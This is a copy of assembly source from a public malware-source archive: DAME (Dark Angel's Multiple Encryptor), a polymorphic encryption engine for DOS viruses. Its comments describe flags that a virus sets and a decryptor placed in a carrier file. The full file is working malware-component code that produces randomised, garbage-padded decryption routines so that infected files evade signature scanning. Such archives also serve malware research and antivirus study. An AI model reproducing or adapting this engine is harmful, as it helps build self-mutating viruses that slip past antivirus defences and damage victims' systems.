mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1197 lines
28 KiB
NASM
1197 lines
28 KiB
NASM
ifndef vars
|
|
vars = 2
|
|
endif
|
|
|
|
if vars eq 1
|
|
else
|
|
|
|
_ax = 0
|
|
_cx = 1
|
|
_dx = 2
|
|
_bx = 3
|
|
_sp = 4
|
|
_bp = 5
|
|
_si = 6
|
|
_di = 7
|
|
|
|
_es = 8
|
|
_cs = 9
|
|
_ss = 0a
|
|
_ds = 0bh
|
|
|
|
MAXNEST = 0a ; controls recursion problems
|
|
|
|
; ax = flags
|
|
; 15 : Reserved
|
|
; 14 : 0 = word, 1 = dword
|
|
; 13 : encryption direction : 0 = forwards, 1 = backwards
|
|
; 12 : counter direction : 0 = forwards, 1 = backwards
|
|
; 11 : ^
|
|
; 10 : R
|
|
; 9 : E
|
|
; 8 : S
|
|
; 7 : E
|
|
; 6 : R
|
|
; 5 : V
|
|
; 4 : E
|
|
; 3 : D
|
|
; 2 : v
|
|
; DAME sets the above bits
|
|
;
|
|
; Virus sets the following bits:
|
|
; 1 : garble : 1 = yes, 0 = no
|
|
; 0 : DS = CS : 1 = yes, 0 = no
|
|
; bx = start decrypt in carrier file
|
|
; cx = encrypt length
|
|
; dx = start encrypt
|
|
; si = buffer to put decryption routine
|
|
; di = buffer to put encryption routine
|
|
; ds = current cs
|
|
; es = current cs
|
|
|
|
; Returns:
|
|
; cx = decryption routine length
|
|
; all other registers are preserved.
|
|
|
|
rnd_init_seed:
|
|
push dx
|
|
push cx
|
|
push bx
|
|
mov ah,2C ; get time
|
|
int 21
|
|
|
|
in al,40 ; port 40h, 8253 timer 0 clock
|
|
mov ah,al
|
|
in al,40 ; port 40h, 8253 timer 0 clock
|
|
xor ax,cx
|
|
xor dx,ax
|
|
jmp short rnd_get_loop_done
|
|
get_rand:
|
|
push dx
|
|
push cx
|
|
push bx
|
|
in al,40 ; get from timer 0 clock
|
|
db 5 ; add ax, xxxx
|
|
rnd_get_patch1 dw 0
|
|
db 0BA ; mov dx, xxxx
|
|
rnd_get_patch2 dw 0
|
|
mov cx,7
|
|
|
|
rnd_get_loop:
|
|
shl ax,1
|
|
rcl dx,1
|
|
mov bl,al
|
|
xor bl,dh
|
|
jns rnd_get_loop_loc
|
|
inc al
|
|
rnd_get_loop_loc:
|
|
loop rnd_get_loop
|
|
|
|
rnd_get_loop_done:
|
|
mov rnd_get_patch1,ax
|
|
mov rnd_get_patch2,dx
|
|
mov al,dl
|
|
pop bx
|
|
pop cx
|
|
pop dx
|
|
retn
|
|
|
|
reg_xlat_table:
|
|
db 10000111b ; bx
|
|
db 0 ; sp
|
|
db 10000110b ; bp
|
|
db 10000100b ; si
|
|
db 10000101b ; di
|
|
|
|
aligntable db 3,7,0f,1f
|
|
|
|
redo_dame:
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
dame: ; Dark Angel's Multiple Encryptor
|
|
cld
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
call _dame
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop bx ; return value in cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
|
|
_dame:
|
|
; set up variables
|
|
cld
|
|
|
|
push ax
|
|
|
|
mov ax,offset _encryptpointer
|
|
xchg ax,di ; pointer to encryption routine buffer
|
|
stosw
|
|
xchg si,ax ; pointer to decryption routine buffer
|
|
stosw
|
|
|
|
stosw
|
|
|
|
xchg ax,dx ; starting offset of encryption
|
|
stosw
|
|
xchg ax,bx ; starting offset of decryption routine
|
|
stosw
|
|
|
|
xchg cx,dx ; dx = encrypt size
|
|
|
|
call clear_used_regs
|
|
mov cx,(endclear1 - beginclear1) / 2
|
|
rep stosw
|
|
|
|
call get_rand
|
|
and ax,not 3
|
|
|
|
pop cx
|
|
xor cx,ax ; cx = bitmask
|
|
|
|
call get_rand_bx
|
|
and bx,3
|
|
mov al,byte ptr [bx+aligntable]
|
|
cbw
|
|
add dx,ax ; round up
|
|
not ax
|
|
and dx,ax
|
|
|
|
mov ax,dx ; new encryption length
|
|
stosw ; _encrypt_length
|
|
|
|
shr ax,1
|
|
test ch,40 ; dword?
|
|
jz word_encryption
|
|
shr ax,1
|
|
word_encryption:
|
|
test ch,10
|
|
jnz counter_backwards
|
|
neg ax
|
|
counter_backwards:
|
|
stosw ; _counter_value
|
|
|
|
xchg ax,dx ; get encryption length in bytes
|
|
|
|
test ch,20
|
|
jnz encrypt_forwards
|
|
neg ax ; pointer to start of decryption
|
|
encrypt_forwards:
|
|
stosw ; _pointer_value
|
|
|
|
call get_rand
|
|
stosw ; encryption value = _decrypt_value
|
|
|
|
mov ax,8484
|
|
stosb
|
|
push di
|
|
stosw
|
|
stosb
|
|
pop di
|
|
|
|
call one_in_two
|
|
js s1
|
|
call get_another
|
|
stosb
|
|
call get_rand
|
|
mov _pointer_value,ax
|
|
dec di
|
|
s1:
|
|
inc di
|
|
|
|
jmp short gbxoh_skip
|
|
get_bx_or_higher:
|
|
call clear_reg
|
|
gbxoh_skip:
|
|
call get_another
|
|
cmp al,_bx
|
|
jb get_bx_or_higher
|
|
stosb ; _pointer_reg
|
|
|
|
call one_in_two
|
|
js s2
|
|
call get_another
|
|
stosb ; _encrypt_reg
|
|
s2:
|
|
|
|
; encode setup part of decryption
|
|
call clear_used_regs
|
|
encode_setup:
|
|
mov di,_decryptpointer
|
|
call twogarble
|
|
|
|
mov si,offset _dummy_reg
|
|
push si
|
|
encode_setup_get_another:
|
|
call get_rand_bx
|
|
and bx,3
|
|
mov al,[si+bx]
|
|
cbw
|
|
test al,80
|
|
jnz encode_setup_get_another
|
|
or byte ptr [bx+_dummy_reg],80
|
|
mov si,ax
|
|
inc byte ptr [si+offset _used_regs]
|
|
|
|
add bx,bx
|
|
mov dx,word ptr [bx+_counter_value-2]
|
|
|
|
mov _nest,0
|
|
call mov_reg_xxxx
|
|
call twogarble
|
|
call swap_decrypt_encrypt
|
|
|
|
push cx
|
|
and cl,not 3
|
|
call _mov_reg_xxxx
|
|
pop cx
|
|
|
|
mov _encryptpointer,di
|
|
|
|
pop si
|
|
mov dx,4
|
|
encode_setup_check_if_done:
|
|
lodsb
|
|
test al,80
|
|
jz encode_setup
|
|
dec dx
|
|
jnz encode_setup_check_if_done
|
|
|
|
mov si,offset _encryptpointer
|
|
mov di,offset _loopstartencrypt
|
|
movsw
|
|
movsw
|
|
|
|
; encode decryption part of loop
|
|
mov _relocate_amt,0
|
|
call do_encrypt1
|
|
test ch,40
|
|
jz dont_encrypt2
|
|
|
|
mov _relocate_amt,2
|
|
call do_encrypt1
|
|
dont_encrypt2:
|
|
mov bx,offset _loopstartencrypt
|
|
push cx
|
|
and cl,not 3
|
|
call encodejmp
|
|
pop cx
|
|
|
|
mov ax,0c3fc ; cld, ret
|
|
stosw
|
|
|
|
mov si,offset _encrypt_relocator
|
|
mov di,_start_encrypt
|
|
|
|
push cx
|
|
call relocate
|
|
pop cx
|
|
|
|
mov bx,offset _loopstartdecrypt
|
|
call encodejmp
|
|
call fourgarble
|
|
mov _decryptpointer,di
|
|
|
|
mov si,offset _decrypt_relocator
|
|
sub di,_decryptpointer2
|
|
add di,_start_decrypt
|
|
relocate:
|
|
test ch,20
|
|
jz do_encrypt_backwards
|
|
add di,_encrypt_length
|
|
do_encrypt_backwards:
|
|
sub di,_pointer_value
|
|
mov cx,word ptr [si-2]
|
|
jcxz exit_relocate
|
|
xchg ax,di
|
|
relocate_loop:
|
|
xchg ax,di
|
|
lodsw
|
|
xchg ax,di
|
|
add [di],ax
|
|
loop relocate_loop
|
|
exit_relocate:
|
|
mov di,_decryptpointer
|
|
mov cx,di
|
|
sub cx,_decryptpointer2
|
|
ret
|
|
|
|
do_encrypt1:
|
|
call playencrypt
|
|
call encryption
|
|
call playencrypt
|
|
ret
|
|
|
|
encodejmp:
|
|
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
|
|
|
|
push bx
|
|
mov _nest,0
|
|
mov al,_pointer_reg
|
|
and ax,7
|
|
mov dx,2
|
|
test ch,40
|
|
jz update_pointer1
|
|
shl dx,1
|
|
update_pointer1:
|
|
test ch,20
|
|
jz update_pointer2
|
|
neg dx
|
|
update_pointer2:
|
|
call add_reg_xxxx
|
|
|
|
mov dl,75 ; jnz
|
|
|
|
mov al,_counter_reg
|
|
and ax,7
|
|
cmp al,_sp
|
|
jz do_jnz
|
|
|
|
push dx
|
|
mov dx,1
|
|
|
|
test ch,10 ; check counter direction
|
|
jz go_counter_forwards
|
|
|
|
cmp al,_cx
|
|
jnz regular
|
|
call one_in_two
|
|
js regular
|
|
|
|
pop dx
|
|
call get_rand_bx
|
|
xchg bx,dx
|
|
and dl,2
|
|
or dl,0e0 ; loop/loopnz
|
|
jmp short do_jnz
|
|
regular:
|
|
neg dx
|
|
go_counter_forwards:
|
|
call add_reg_xxxx
|
|
pop dx
|
|
do_jnz:
|
|
pop bx
|
|
mov ax,[bx]
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
xchg ah,al
|
|
mov al,dl ; jnz
|
|
|
|
test ah,80
|
|
jnz jmplocation_okay
|
|
|
|
pop ax
|
|
pop ax
|
|
jmp redo_dame
|
|
jmplocation_okay:
|
|
stosw
|
|
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
|
|
ret
|
|
|
|
swap_decrypt_encrypt:
|
|
mov _nest,MAXNEST
|
|
mov _decryptpointer,di
|
|
mov di,_encryptpointer
|
|
ret
|
|
|
|
playencrypt:
|
|
mov di,_decryptpointer
|
|
call twogarble
|
|
|
|
mov al,_encrypt_reg
|
|
and ax,7
|
|
cmp al,4 ; is there an encryption register?
|
|
jz swap_decrypt_encrypt
|
|
|
|
call get_rand_bx ; 3/4 chance of doing something
|
|
cmp bl,0c0
|
|
ja swap_decrypt_encrypt
|
|
|
|
call _playencrypt
|
|
call handle_jmp_table_nogarble
|
|
finish_encryption:
|
|
call swap_decrypt_encrypt
|
|
push cx
|
|
and cl,not 3
|
|
call [bx+si+1]
|
|
pop cx
|
|
mov _encryptpointer,di
|
|
ret
|
|
|
|
_playencrypt:
|
|
mov _nest,0
|
|
call one_in_two
|
|
js get_used_register
|
|
|
|
call get_rand_bx
|
|
mov si,offset oneregtable
|
|
jmp short continue_playencrypt
|
|
|
|
get_used_register:
|
|
call get_rand_bx
|
|
and bx,7
|
|
cmp bl,_sp
|
|
jz get_used_register
|
|
cmp byte ptr [bx+_used_regs],0
|
|
jz get_used_register
|
|
mov si,offset tworegtable
|
|
continue_playencrypt:
|
|
xchg dx,bx
|
|
ret
|
|
|
|
encryption:
|
|
mov di,_decryptpointer
|
|
call twogarble
|
|
mov al,_pointer_reg
|
|
and ax,7
|
|
mov bx,offset reg_xlat_table-3
|
|
xlat
|
|
|
|
mov bp,offset _decrypt_relocate_num
|
|
call _playencrypt
|
|
call go_next
|
|
call handle_jmp_table_nogarble
|
|
|
|
mov bp,offset _encrypt_relocate_num
|
|
call go_next
|
|
jmp short finish_encryption
|
|
|
|
go_next:
|
|
push ax
|
|
lodsb
|
|
cbw
|
|
add si,ax
|
|
pop ax
|
|
inc si
|
|
inc si
|
|
ret
|
|
|
|
clear_used_regs:
|
|
xor ax,ax
|
|
mov di,offset _used_regs
|
|
stosw
|
|
stosw
|
|
inc ax
|
|
stosw
|
|
dec ax
|
|
stosw
|
|
ret
|
|
|
|
get_another:
|
|
call get_rand
|
|
and ax,7
|
|
mov si,ax
|
|
cmp [si+_used_regs],0
|
|
jnz get_another
|
|
inc [si+_used_regs]
|
|
ret
|
|
|
|
clear_reg_dx:
|
|
xchg ax,dx
|
|
clear_reg:
|
|
mov si,ax
|
|
mov byte ptr [si+_used_regs],0
|
|
ret
|
|
|
|
free_regs: ; check for free registers
|
|
; zero flag if OK
|
|
push ax
|
|
push cx
|
|
push di
|
|
mov di,offset _used_regs
|
|
mov cx,8
|
|
xor ax,ax
|
|
repne scasb
|
|
pop di
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
|
|
one_in_two:
|
|
push ax
|
|
call get_rand
|
|
or ax,ax
|
|
pop ax
|
|
ret
|
|
|
|
get_rand_bx:
|
|
xchg ax,bx
|
|
call get_rand
|
|
xchg ax,bx
|
|
return:
|
|
ret
|
|
|
|
fourgarble:
|
|
call twogarble
|
|
twogarble:
|
|
mov _nest,0
|
|
call garble
|
|
garble: ; ax, dx preserved
|
|
call free_regs
|
|
jne return
|
|
|
|
test cl,2
|
|
jz return
|
|
|
|
push ax
|
|
push dx
|
|
|
|
call get_rand ; random # to dx
|
|
xchg ax,dx
|
|
call get_another ; random reg in al
|
|
call clear_reg ; don't mark as used
|
|
|
|
mov si,offset garbletable
|
|
jmp short handle_jmp_table_nopush_ax_dx
|
|
|
|
handle_jmp_table: ; ax,dx preserved
|
|
push si
|
|
call garble
|
|
pop si
|
|
handle_jmp_table_nogarble:
|
|
push ax
|
|
push dx
|
|
handle_jmp_table_nopush_ax_dx:
|
|
push si
|
|
|
|
push cx
|
|
xchg ax,cx
|
|
lodsb ; get mask value
|
|
cbw
|
|
xchg ax,cx
|
|
call get_rand_bx
|
|
and bx,cx
|
|
pop cx
|
|
|
|
inc _nest
|
|
cmp _nest,MAXNEST
|
|
jb not_max_nest
|
|
xor bx,bx
|
|
not_max_nest:
|
|
push bx
|
|
call [bx+si]
|
|
pop bx
|
|
pop si
|
|
pop dx
|
|
pop ax
|
|
|
|
ret
|
|
|
|
garble_tworeg:
|
|
mov si,offset tworegtable
|
|
and dx,7
|
|
jmp short handle_jmp_table_nogarble
|
|
garble_onereg:
|
|
mov si,offset oneregtable
|
|
jmp short handle_jmp_table_nogarble
|
|
garble_onebyte:
|
|
xchg ax,dx
|
|
and al,7
|
|
mov bx,offset onebytetable
|
|
xlat
|
|
stosb
|
|
ret
|
|
garble_jmpcond:
|
|
xchg ax,dx
|
|
and ax,0f
|
|
or al,70
|
|
stosw
|
|
ret
|
|
|
|
_push:
|
|
or al,al
|
|
js _push_mem
|
|
add al,50
|
|
stosb
|
|
ret
|
|
_push_mem:
|
|
add ax,0ff30
|
|
jmp short go_mod_xxx_rm1
|
|
|
|
_pop:
|
|
or al,al
|
|
js _pop_mem
|
|
add al,58
|
|
stosb
|
|
ret
|
|
_pop_mem:
|
|
mov ah,8f
|
|
go_mod_xxx_rm1:
|
|
jmp mod_xxx_rm
|
|
|
|
mov_reg_xxxx:
|
|
mov si,offset mov_reg_xxxx_table
|
|
go_handle_jmp_table1:
|
|
jmp short handle_jmp_table
|
|
|
|
_mov_reg_xxxx_mov_add:
|
|
call get_rand_bx
|
|
push bx
|
|
sub dx,bx
|
|
call mov_reg_xxxx
|
|
pop dx
|
|
jmp short go_add_reg_xxxx
|
|
|
|
_mov_reg_xxxx_mov_al_ah:
|
|
cmp al,_sp
|
|
jae _mov_reg_xxxx
|
|
push ax
|
|
push dx
|
|
call _mov_al_xx
|
|
pop dx
|
|
pop ax
|
|
xchg dh,dl
|
|
jmp short _mov_ah_xx
|
|
|
|
_mov_reg_xxxx_mov_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call mov_reg_xxxx
|
|
pop dx
|
|
jmp xor_reg_xxxx
|
|
|
|
_mov_reg_xxxx_xor_add:
|
|
push dx
|
|
mov dx,ax
|
|
call xor_reg_reg
|
|
pop dx
|
|
go_add_reg_xxxx:
|
|
jmp add_reg_xxxx
|
|
|
|
_mov_reg_xxxx_mov_rol:
|
|
ror dx,1
|
|
call mov_reg_xxxx
|
|
jmp short _rol
|
|
|
|
_mov_reg_xxxx_mov_ror:
|
|
rol dx,1
|
|
call mov_reg_xxxx
|
|
_ror:
|
|
or al,8
|
|
_rol:
|
|
mov ah,0d1
|
|
jmp mod_xxx_rm
|
|
|
|
|
|
_mov_reg_xxxx:
|
|
add al,0B8
|
|
stosb
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
|
|
mov_ah_xx:
|
|
_mov_ah_xx:
|
|
add al,04
|
|
mov_al_xx:
|
|
_mov_al_xx:
|
|
add al,0B0
|
|
mov ah,dl
|
|
stosw
|
|
ret
|
|
|
|
mov_reg_reg:
|
|
mov si,offset mov_reg_reg_table
|
|
jmp short go_handle_jmp_table1
|
|
|
|
_mov_reg_reg_push_pop:
|
|
push ax
|
|
xchg dx,ax ; al = reg2
|
|
call _push ; push reg2
|
|
pop ax ; al = reg1
|
|
jmp _pop ; pop reg1
|
|
_mov_reg_reg:
|
|
mov ah,08Bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
mov_xchg_reg_reg:
|
|
call one_in_two
|
|
js mov_reg_reg
|
|
|
|
xchg_reg_reg:
|
|
mov si,offset xchg_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_xchg_reg_reg_push_pop:
|
|
push dx ; save reg2
|
|
push ax ; save reg1
|
|
push dx
|
|
call _push ; push reg1
|
|
pop ax
|
|
call _push ; push reg2
|
|
pop ax
|
|
call _pop ; pop reg1
|
|
pop ax
|
|
jmp _pop ; pop reg2
|
|
|
|
_xchg_reg_reg_3rd_reg:
|
|
call free_regs
|
|
jne _xchg_reg_reg
|
|
|
|
push dx ; save reg2
|
|
push ax ; save reg1
|
|
call get_another
|
|
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
|
|
pop dx ; get reg1
|
|
call xchg_reg_reg ; xchg reg3, reg1
|
|
pop dx ; get reg2
|
|
xchg ax,dx ; ax=reg2, dx=reg3
|
|
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
|
|
jmp clear_reg_dx
|
|
|
|
_xchg_reg_reg:
|
|
or al,al
|
|
js __xchg_reg_reg
|
|
|
|
cmp al,dl
|
|
jg _xchg_reg_reg_skip
|
|
xchg al,dl
|
|
_xchg_reg_reg_skip:
|
|
or dl,dl
|
|
jz _xchg_ax_reg
|
|
__xchg_reg_reg:
|
|
xchg al,dl
|
|
mov ah,87
|
|
jmp short _mod_reg_rm
|
|
_xchg_ax_reg:
|
|
add al,90
|
|
stosb
|
|
ret
|
|
|
|
xor_reg_xxxx_xor_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call xor_reg_xxxx
|
|
pop dx
|
|
jmp short xor_reg_xxxx
|
|
|
|
xor_reg_xxxx:
|
|
mov si,offset xor_reg_xxxx_table
|
|
jmp handle_jmp_table
|
|
|
|
_xor_reg_xxxx:
|
|
or al,030
|
|
jmp _81h_
|
|
|
|
xor_reg_reg:
|
|
mov si,offset xor_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_xor_reg_reg:
|
|
mov ah,33
|
|
_mod_reg_rm_direction:
|
|
or al,al
|
|
js dodirection
|
|
or dl,dl
|
|
js _mod_reg_rm
|
|
call one_in_two
|
|
js _mod_reg_rm
|
|
dodirection:
|
|
xchg al,dl
|
|
sub ah,2
|
|
_mod_reg_rm:
|
|
shl al,1
|
|
shl al,1
|
|
shl al,1
|
|
or al,dl
|
|
mod_xxx_rm:
|
|
or al,al
|
|
js no_no_reg
|
|
|
|
or al,0c0
|
|
no_no_reg:
|
|
xchg ah,al
|
|
|
|
test ah,40
|
|
jnz exit_mod_reg_rm
|
|
|
|
test cl,1
|
|
jnz continue_mod_xxx_rm
|
|
|
|
push ax
|
|
mov al,2e
|
|
stosb
|
|
pop ax
|
|
continue_mod_xxx_rm:
|
|
stosw
|
|
|
|
mov si,cs:[bp] ; need cs: overrides on bp
|
|
add si,si
|
|
mov cs:[si+bp+2],di
|
|
inc word ptr cs:[bp]
|
|
|
|
mov al,_relocate_amt
|
|
cbw
|
|
exit_mod_reg_rm:
|
|
stosw
|
|
ret
|
|
|
|
add_reg_reg:
|
|
mov si,offset add_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_add_reg_reg:
|
|
mov ah,3
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
sub_reg_reg:
|
|
mov si,offset sub_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_sub_reg_reg:
|
|
mov ah,2bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
_add_reg_xxxx_inc_add:
|
|
call inc_reg
|
|
dec dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_dec_add:
|
|
call dec_reg
|
|
inc dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_add_add:
|
|
call get_rand_bx
|
|
push bx
|
|
sub dx,bx
|
|
call add_reg_xxxx
|
|
pop dx
|
|
jmp short add_reg_xxxx
|
|
|
|
add_reg_xxxx1:
|
|
neg dx
|
|
add_reg_xxxx:
|
|
or dx,dx
|
|
jnz cont
|
|
return1:
|
|
ret
|
|
cont:
|
|
mov si,offset add_reg_xxxx_table
|
|
jmp handle_jmp_table
|
|
|
|
_add_reg_xxxx:
|
|
or al,al
|
|
jz _add_ax_xxxx
|
|
_81h_:
|
|
or al,al
|
|
js __81h
|
|
add al,0c0
|
|
__81h:
|
|
mov ah,81
|
|
call mod_xxx_rm
|
|
_encode_dx_:
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
_add_ax_xxxx:
|
|
mov al,5
|
|
_encode_al_dx_:
|
|
stosb
|
|
jmp short _encode_dx_
|
|
|
|
sub_reg_xxxx1:
|
|
neg dx
|
|
sub_reg_xxxx:
|
|
_sub_reg_xxxx:
|
|
or dx,dx
|
|
jz return1
|
|
|
|
or al,al
|
|
jz _sub_ax_xxxx
|
|
add al,028
|
|
jmp short _81h_
|
|
_sub_ax_xxxx:
|
|
mov al,2dh
|
|
jmp short _encode_al_dx_
|
|
|
|
dec_reg:
|
|
push ax
|
|
add al,8
|
|
jmp short _dec_inc_reg
|
|
inc_reg:
|
|
push ax
|
|
_dec_inc_reg:
|
|
or al,al
|
|
jns _norm_inc
|
|
mov ah,0ff
|
|
call mod_xxx_rm
|
|
pop ax
|
|
ret
|
|
_norm_inc:
|
|
add al,40
|
|
stosb
|
|
pop ax
|
|
ret
|
|
|
|
_mov_reg_reg_3rd_reg:
|
|
mov bx,offset mov_reg_reg
|
|
mov si,offset mov_xchg_reg_reg
|
|
jmp short reg_to_reg
|
|
|
|
xor_reg_reg_reg_reg:
|
|
mov bx,offset _xor_reg_reg
|
|
jmp short reg_to_reg1
|
|
add_reg_reg_reg_reg:
|
|
mov bx,offset _add_reg_reg
|
|
jmp short reg_to_reg1
|
|
sub_reg_reg_reg_reg:
|
|
mov bx,offset _sub_reg_reg
|
|
reg_to_reg1:
|
|
mov si,bx
|
|
reg_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax
|
|
push si
|
|
call get_another
|
|
call mov_reg_reg ; mov reg3, reg2
|
|
pop si
|
|
pop dx ; ax=reg3, dx=reg1
|
|
xchg ax,dx ; ax=reg1, dx=reg3
|
|
|
|
push dx
|
|
call si
|
|
pop dx
|
|
go_clear_reg_dx:
|
|
jmp clear_reg_dx
|
|
|
|
_xor_reg_xxxx_reg_reg:
|
|
mov bx,offset xor_reg_xxxx
|
|
mov si,offset xor_reg_reg
|
|
xxxx_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax
|
|
push si
|
|
call get_another
|
|
call mov_reg_xxxx
|
|
xchg ax,dx
|
|
pop si
|
|
pop ax
|
|
|
|
push dx
|
|
call si
|
|
pop dx
|
|
jmp short go_clear_reg_dx
|
|
no_free_regs:
|
|
jmp bx
|
|
|
|
_add_reg_xxxx_reg_reg:
|
|
mov bx,offset add_reg_xxxx
|
|
mov si,offset add_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
_mov_reg_xxxx_reg_reg:
|
|
mov bx,offset mov_reg_xxxx
|
|
mov si,offset mov_xchg_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
garbletable:
|
|
db garbletableend - $ - 3
|
|
dw offset return
|
|
dw offset return
|
|
dw offset garble_tworeg
|
|
dw offset garble_tworeg
|
|
dw offset garble_onereg
|
|
dw offset garble_onereg
|
|
dw offset garble_onebyte
|
|
dw offset garble_jmpcond
|
|
garbletableend:
|
|
|
|
onebytetable:
|
|
clc
|
|
cmc
|
|
stc
|
|
cld
|
|
std
|
|
sti
|
|
int 3
|
|
lock
|
|
|
|
oneregtable:
|
|
db oneregtableend - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset mov_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtableend:
|
|
|
|
oneregtable1:
|
|
db oneregtable1end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtable1end:
|
|
|
|
oneregtable2:
|
|
db oneregtable2end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset inc_reg
|
|
dw offset dec_reg
|
|
dw offset _rol
|
|
dw offset _ror
|
|
oneregtable2end:
|
|
|
|
tworegtable:
|
|
db tworegtableend - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset mov_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtableend:
|
|
|
|
tworegtable1:
|
|
db tworegtable1end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtable1end:
|
|
|
|
tworegtable2:
|
|
db tworegtable2end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset add_reg_reg
|
|
dw offset sub_reg_reg
|
|
tworegtable2end:
|
|
|
|
mov_reg_xxxx_table:
|
|
db mov_reg_xxxx_table_end - $ - 3
|
|
dw offset _mov_reg_xxxx
|
|
dw offset _mov_reg_xxxx_reg_reg
|
|
dw offset _mov_reg_xxxx_mov_add
|
|
dw offset _mov_reg_xxxx_mov_al_ah
|
|
dw offset _mov_reg_xxxx_mov_xor
|
|
dw offset _mov_reg_xxxx_xor_add
|
|
dw offset _mov_reg_xxxx_mov_rol
|
|
dw offset _mov_reg_xxxx_mov_ror
|
|
|
|
mov_reg_xxxx_table_end:
|
|
|
|
mov_reg_reg_table:
|
|
db mov_reg_reg_table_end - $ - 3
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg_3rd_reg
|
|
dw offset _mov_reg_reg_push_pop
|
|
mov_reg_reg_table_end:
|
|
|
|
xchg_reg_reg_table:
|
|
db xchg_reg_reg_table_end - $ - 3
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg_push_pop
|
|
dw offset _xchg_reg_reg_3rd_reg
|
|
xchg_reg_reg_table_end:
|
|
|
|
xor_reg_xxxx_table:
|
|
db xor_reg_xxxx_table_end - $ - 3
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx_reg_reg
|
|
dw offset xor_reg_xxxx_xor_xor
|
|
xor_reg_xxxx_table_end:
|
|
|
|
xor_reg_reg_table:
|
|
db xor_reg_reg_table_end - $ - 3
|
|
dw offset _xor_reg_reg
|
|
dw offset xor_reg_reg_reg_reg
|
|
xor_reg_reg_table_end:
|
|
|
|
add_reg_reg_table:
|
|
db add_reg_reg_table_end - $ - 3
|
|
dw offset _add_reg_reg
|
|
dw offset add_reg_reg_reg_reg
|
|
add_reg_reg_table_end:
|
|
|
|
sub_reg_reg_table:
|
|
db sub_reg_reg_table_end - $ - 3
|
|
dw offset _sub_reg_reg
|
|
dw offset sub_reg_reg_reg_reg
|
|
sub_reg_reg_table_end:
|
|
|
|
add_reg_xxxx_table:
|
|
db add_reg_xxxx_table_end - $ - 3
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx_reg_reg
|
|
dw offset sub_reg_xxxx1
|
|
dw offset _add_reg_xxxx_inc_add
|
|
dw offset _add_reg_xxxx_dec_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
|
|
add_reg_xxxx_table_end:
|
|
|
|
endif
|
|
|
|
if vars eq 0
|
|
else
|
|
|
|
_nest db ? ; needed to prevent infinite recursion
|
|
_relocate_amt db ?
|
|
|
|
_loopstartencrypt dw ?
|
|
_loopstartdecrypt dw ?
|
|
|
|
_encryptpointer dw ?
|
|
_decryptpointer dw ?
|
|
|
|
_decryptpointer2 dw ?
|
|
|
|
_start_encrypt dw ?
|
|
_start_decrypt dw ?
|
|
|
|
_used_regs db 8 dup (?) ; 0 = unused
|
|
beginclear1:
|
|
_encrypt_relocate_num dw ?
|
|
_encrypt_relocator dw 8 dup (?)
|
|
|
|
_decrypt_relocate_num dw ?
|
|
_decrypt_relocator dw 10 dup (?)
|
|
endclear1:
|
|
_encrypt_length dw ? ; based upon alignment
|
|
|
|
_counter_value dw ? ; _counter_reg
|
|
_pointer_value dw ?
|
|
_decrypt_value dw ?
|
|
|
|
_dummy_reg db ?
|
|
_counter_reg db ?
|
|
_pointer_reg db ? ; 4 = not in use
|
|
_encrypt_reg db ?
|
|
|
|
endif
|
|
|